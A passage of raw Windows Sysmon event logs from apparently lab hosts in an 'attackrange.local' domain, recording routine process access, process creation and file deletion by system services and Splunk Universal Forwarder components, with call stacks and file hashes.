14:50:18.036{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047271Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:18.036{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-70AA-613B-120B-00000000F001}7024C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000047270Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:18.036{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-70AA-613B-120B-00000000F001}7024C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000047269Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:18.037{7BD73061-70AA-613B-120B-00000000F001}7024C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000047298Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:19.786{7BD73061-70AB-613B-140B-00000000F001}69802408C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000047297Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:19.567{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=DDFA03A6FECD61C3E661022A7C0963AB,SHA256=E62E4E4E0F5B4D51CDD18A9D6118486D88FBC76A70D00A416A2F3DF72C544C70,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000047296Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:19.505{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-70AB-613B-140B-00000000F001}6980C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047295Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:19.505{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047294Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:19.505{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047293Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:19.505{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047292Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:19.505{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-70AB-613B-140B-00000000F001}6980C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000047291Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:19.505{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047290Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:19.505{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-70AB-613B-140B-00000000F001}6980C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000047289Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:19.505{7BD73061-70AB-613B-140B-00000000F001}6980C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000047288Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:19.192{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1CB36008D4CEC3B9616A64D850390291,SHA256=06C8357A1F55BD853AA0A95A45774BC033AFA37DDBFAFCF605896263C13123FF,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014893Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:19.144{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8517ABFCE796AE3DB265BD29442FE09C,SHA256=EA95CE4905519069B3373D7270F115DC88BFF285F2C2AFED10A3F66BA5D5A552,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000047317Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:20.864{7BD73061-70AC-613B-160B-00000000F001}58164724C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047316Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:20.630{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-70AC-613B-160B-00000000F001}5816C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047315Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:20.630{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047314Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:20.630{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047313Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:20.630{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047312Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:20.630{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047311Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:20.630{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-70AC-613B-160B-00000000F001}5816C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000047310Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:20.630{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-70AC-613B-160B-00000000F001}5816C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000047309Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:20.630{7BD73061-70AC-613B-160B-00000000F001}5816C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000047308Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:20.364{7BD73061-70AC-613B-150B-00000000F001}68125700C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000047307Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:20.223{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2D44B80F161AEE7AA26FCF8E5B8FD919,SHA256=0D5A0B46F4E24DE5FA3427E1799A4F078544BF7E0B32E8B94C36B4ABB4401A4D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014895Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:20.160{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4F549B8A68E00E700FA08A4ADFF537BA,SHA256=3216DFEBC9ED8195F3A19B5B73D36B54325A079F53D22B2715897FA00193BF15,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000047306Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:20.005{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-70AC-613B-150B-00000000F001}6812C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047305Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:20.005{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047304Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:20.005{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047303Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 